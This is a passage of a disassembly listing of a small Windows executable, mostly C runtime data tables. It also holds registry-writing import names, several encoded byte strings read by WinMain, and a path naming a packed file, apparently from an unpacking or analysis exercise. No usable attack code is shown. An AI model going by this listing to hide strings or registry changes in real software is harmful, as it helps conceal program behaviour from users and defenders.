		dd 1F90000h, 53676552h,	61567465h, 4565756Ch, 4178h, 655201CCh
		dd 65724367h, 4B657461h, 417965h, 41564441h, 32334950h
		dd 6C6C642Eh, 1770000h,	4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 1AF0000h,	53746547h, 74726174h, 6E497075h
		dd 416F66h, 65470108h, 6D6F4374h, 646E616Dh, 656E694Ch
		dd 1DF0041h, 56746547h,	69737265h, 78456E6Fh, 0AF0041h
		dd 74697845h, 636F7250h, 737365h, 65470198h, 6F725074h
		dd 64644163h, 73736572h, 34F0000h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 13A0000h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 394h
aWritefile	db 'WriteFile',0
		dw 1B1h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 360h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
aA		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 387h
aWidechartomult	db 'WideCharToMultiByte',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 317h
aSethandlecount	db 'SetHandleCount',0
		align 10h
		db  5Eh	; ^
		db 1, 47h, 65h
aTfiletype	db 'tFileType',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 376h
aVirtualfree	db 'VirtualFree',0
		db  0Ch
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0F5h	; õ
		align 2
aGetacp		db 'GetACP',0
		align 2
		dw 18Bh
aGetoemcp	db 'GetOEMCP',0
		align 2
		dw 0FCh
aGetcpinfo	db 'GetCPInfo',0
		dw 206h
aHeapalloc	db 'HeapAlloc',0
		dw 373h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 210h
aHeaprealloc	db 'HeapReAlloc',0
		db 0CAh	; Ê
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db  1Fh
		db 2, 49h, 6Eh
aTerlockedexcha	db 'terlockedExchange',0
		dw 37Bh
aVirtualquery	db 'VirtualQuery',0
		align 2
		dw 212h
aHeapsize	db 'HeapSize',0
		align 2
		dw 297h
aQueryperforman	db 'QueryPerformanceCounter',0
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  3Eh	; >
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 13Bh
aGetcurrentpr_0	db 'GetCurrentProcessId',0
		db 0C0h	; À
		db 1, 47h, 65h
aTsystemtimeasf	db 'tSystemTimeAsFileTime',0
		dw 23Ah
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 434C023Bh, 5370614Dh, 6E697274h, 5767h, 654701B2h, 72745374h
		dd 54676E69h, 41657079h, 1B50000h, 53746547h, 6E697274h
		dd 70795467h, 5765h, 6547016Ch,	636F4C74h, 49656C61h, 416F666Eh
		dd 3790000h, 74726956h,	506C6175h, 65746F72h, 7463h, 654701BBh
		dd 73795374h, 496D6574h, 6F666Eh
_rdata		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00000898 (   2200.)
; Section size in file		: 00000898 (   2200.)
; Offset to raw	data for section: 00007000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 407000h
dword_407000	dd 0			; DATA XREF: __cinit+45o
		dd offset ___security_init_cookie
dword_407008	dd 0			; DATA XREF: __cinit+4Co
dword_40700C	dd 0			; DATA XREF: __cinit+12o
		dd offset ___onexitinit
		dd offset ___initmbctable
dword_407018	dd 0			; DATA XREF: __cinit+17o
dword_40701C	dd 0			; DATA XREF: _doexit:loc_4013CAo
dword_407020	dd 0			; DATA XREF: _doexit+6Co
dword_407024	dd 0			; DATA XREF: _doexit:loc_4013E9o
dword_407028	dd 2 dup(0)		; DATA XREF: _doexit+8Bo
byte_407030	db 11h			; DATA XREF: WinMain(x,x,x,x):loc_401043r
		db 2 dup(0Dh), 9
		dd 0E565643h, 16570E0Eh, 18171C09h, 1A100D0Bh, 570A1C15h
		dd 161F1710h, 0
byte_407050	db 2Ah			; DATA XREF: WinMain(x,x,x,x):loc_40100Er
		db 16h,	1Fh, 0Dh
		dd 1C0B180Eh, 1A103425h, 160A160Bh, 30250D1Fh, 0B1C0D17h
		dd 590D1C17h, 1509013Ch, 0B1C0B16h, 10183425h, 17h
byte_40707C	db 2Ah			; DATA XREF: WinMain(x,x,x,x):loc_401062r
		db 0Dh,	18h, 0Bh
		dd 1829590Dh, 1C1Eh
off_407088	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_40708C	dd 2			; DATA XREF: __NMSG_WRITE+58r
					; __FF_MSGBANNER+Er
dword_407090	dd 2			; DATA XREF: __NMSG_WRITE:loc_40148Ar
					; __NMSG_WRITE+3Ar
off_407094	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
					; __NMSG_WRITE+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 40547Ch, 9, 405450h, 0Ah,	4053B8h, 10h, 40538Ch
		dd 11h,	40535Ch, 12h, 405338h, 13h, 40530Ch, 18h, 4052D4h
		dd 19h,	4052ACh, 1Ah, 405274h, 1Bh, 40523Ch, 1Ch, 405214h
		dd 1Dh,	405170h, 78h, 40515Ch, 79h, 40514Ch, 7Ah, 40513Ch
		dd 0FCh, 405138h, 0FFh,	405128h
dword_407128	dd 0C0000005h, 0Bh, 0	; DATA XREF: __XcptFilter+Co
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4071A0	dd 3			; DATA XREF: __XcptFilter+84r
dword_4071A4	dd 7			; DATA XREF: __XcptFilter+89r
dword_4071A8	dd 0Ah			; DATA XREF: __XcptFilter+6r
dword_4071AC	dd 8Ch			; DATA XREF: __XcptFilter+B2r
					; __XcptFilter+BAw ...
		dd 0FFFFFFFFh, 0A80h, 10h, 0
dword_4071C0	dd 0C7153F18h		; DATA XREF: __NMSG_WRITE+Er
					; sub_4024BCr ...
		align 8
byte_4071C8	db 1			; DATA XREF: __setmbcp+120r
		db 2, 4, 8
		align 10h
dword_4071D0	dd 3A4h			; DATA XREF: __setmbcp:loc_40276Dr
dword_4071D4	dd 82798260h		; DATA XREF: __setmbcp+15Cr
		dd 21h,	0
dword_4071E0	dd 0DFA6h		; DATA XREF: __setmbcp+100r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4072C0	dd 19930520h, 3	dup(0)	; DATA XREF: .text:004038EFo
					; __NLG_Notify+2o
off_4072D0	dd offset asc_405888	; DATA XREF: _x_ismbbtype+18r
					; __ismbcspace:loc_404BF4r ...
					; "	    (((((		   H"
		dd offset dword_405A88+2
		dd 1, 0
dword_4072E0	dd 1			; DATA XREF: __ismbcspace:loc_404BDFr
		dd 2Eh,	1, 5 dup(0)
; char *dword_407300
dword_407300	dd 0			; DATA XREF: start+11Cw
					; __setenvp:loc_4017F4r ...
		align 8
dword_407308	dd 0			; DATA XREF: __amsg_exitr start+D2r ...
		dd 3 dup(0)
dword_407318	dd 2			; DATA XREF: start+29w	___heap_selectr ...
dword_40731C	dd 0A28h		; DATA XREF: start+49w	start+5Aw
dword_407320	dd 501h			; DATA XREF: start+65w
dword_407324	dd 5			; DATA XREF: start+32w
					; ___heap_select+9r ...
dword_407328	dd 1			; DATA XREF: start+3Aw
dword_40732C	dd 1			; DATA XREF: __setargv+8Fw
dword_407330	dd 320B20h		; DATA XREF: __setargv+95w
		align 8
; void *dword_407338
dword_407338	dd 320B40h		; DATA XREF: __setenvp+48w
					; __setenvp:loc_401893r ...
		dd 3 dup(0)
off_407348	dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_407350	db 0			; DATA XREF: _doexit+2Dw
		align 4
dword_407354	dd 1			; DATA XREF: _doexit+27w
dword_407358	dd 1			; DATA XREF: _doexit+7r _doexit+B0w
dword_40735C	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_407360	dd 0			; DATA XREF: __XcptFilter+68r
					; __XcptFilter+73w ...
		align 8
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
					; .data:off_407348o
		align 4
		dd 3Ah dup(0)
byte_40746C	db 0			; DATA XREF: __setargv+23w
		align 10h
dword_407470	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+24w ...
dword_407474	dd 0			; DATA XREF: ___crtMessageBoxA+9r
					; ___crtMessageBoxA+38w ...
dword_407478	dd 0			; DATA XREF: ___crtMessageBoxA+4Dw
					; ___crtMessageBoxA:loc_40218Er
dword_40747C	dd 0			; DATA XREF: ___crtMessageBoxA+5Bw
					; ___crtMessageBoxA+D6r
dword_407480	dd 0			; DATA XREF: ___crtMessageBoxA+7Bw
					; ___crtMessageBoxA:loc_402149r
dword_407484	dd 0			; DATA XREF: ___crtMessageBoxA+6Cw
					; ___crtMessageBoxA+9Cr
dword_407488	dd 1			; DATA XREF: __setmbcp+19w
					; __setmbcp+21w ...
		align 10h
dword_407490	dd 0			; DATA XREF: __ValidateEH3RN:loc_403995r
					; __ValidateEH3RN+13Fr	...
		align 8
dword_407498	dd 0			; DATA XREF: __ValidateEH3RN:loc_4039A8r
					; __ValidateEH3RN+1C4r	...
		dd 0Fh dup(0)
dword_4074D8	dd 0			; DATA XREF: __ValidateEH3RN+12Co
					; __ValidateEH3RN+191o	...
dword_4074DC	dd 0			; DATA XREF: ___security_error_handler+17r
		dd 2 dup(0)
; int dword_4074E8
dword_4074E8	dd 0			; DATA XREF: ___crtLCMapStringA+265r
					; ___crtGetStringTypeA+14Ar ...
		dd 3 dup(0)
; int dword_4074F8
dword_4074F8	dd 0			; DATA XREF: __setmbcp+4Fr
					; ___crtLCMapStringA+9Dr ...
		align 10h
dword_407500	dd 1			; DATA XREF: ___crtLCMapStringA+Er
					; ___crtLCMapStringA+31w ...
dword_407504	dd 1			; DATA XREF: ___crtGetStringTypeA+Er
					; ___crtGetStringTypeA+2Ew ...
dword_407508	dd 0			; DATA XREF: __callnewhr
dword_40750C	dd 0			; DATA XREF: _mallocr
					; _realloc:loc_403C40r	...
; void *dword_407510
dword_407510	dd 0			; DATA XREF: ___sbh_heap_init+21w
					; ___sbh_free_block+21Cr ...
dword_407514	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_407518	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_40751C	dd 0			; DATA XREF: __heap_alloc+Er
					; ___sbh_heap_init+36w	...
dword_407520	dd 0			; DATA XREF: ___sbh_heap_init+2Fw
					; ___sbh_free_block+300w ...
dword_407524	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_407528	dd 0			; DATA XREF: ___sbh_free_block+229r
					; ___sbh_free_block+249r ...
; int dword_40752C
dword_40752C	dd 0			; DATA XREF: _setSBCS+1Aw
					; _setSBUpLow+84r ...
dword_407530	dd 0			; DATA XREF: _setSBCS+15w
					; __setmbcp+14Dw ...
		align 10h
byte_407540	db 0			; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_407541	db 0			; DATA XREF: _parse_cmdline+47r
					; _parse_cmdline+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
; int dword_407644
dword_407644	dd 4E4h			; DATA XREF: _setSBCS+10w
					; _setSBUpLow+16r ...
		align 10h
dword_407650	dd 4 dup(0)		; DATA XREF: _setSBCS+1Fo
					; __setmbcp+162o ...
byte_407660	db 0			; DATA XREF: _setSBUpLow:loc_402678w
					; _setSBUpLow:loc_402695w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_407760	dd 320000h		; DATA XREF: __heap_init+19w
					; __heap_init+3Er ...
dword_407764	dd 1			; DATA XREF: __heap_init+28w _free+9r	...
dword_407768	dd 20h			; DATA XREF: __ioinit+1Fw
					; __ioinit:loc_401C62r	...
		dd 5 dup(0)
dword_407780	dd 320650h		; DATA XREF: __ioinit:loc_401BF3w
					; __ioinit+3Cr	...
dword_407784	dd 3Fh dup(0)		; DATA XREF: __ioinit+91o
dword_407880	dd 1			; DATA XREF: __setenvp+9Fw
dword_407884	dd 320754h		; DATA XREF: _doexit+3Er
					; _doexit:loc_4013B5r ...
; void *dword_407888
dword_407888	dd 320758h		; DATA XREF: _doexit+34r _doexit+5Ar ...
dword_40788C	dd 1			; DATA XREF: __wincmdln+4r
					; __setenvp+3r	...
dword_407890	dd 0			; DATA XREF: __cinitr
dword_407894	dd 142340h		; DATA XREF: start+112w
					; __wincmdln:loc_401796r ...
_data		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00007A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 408000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start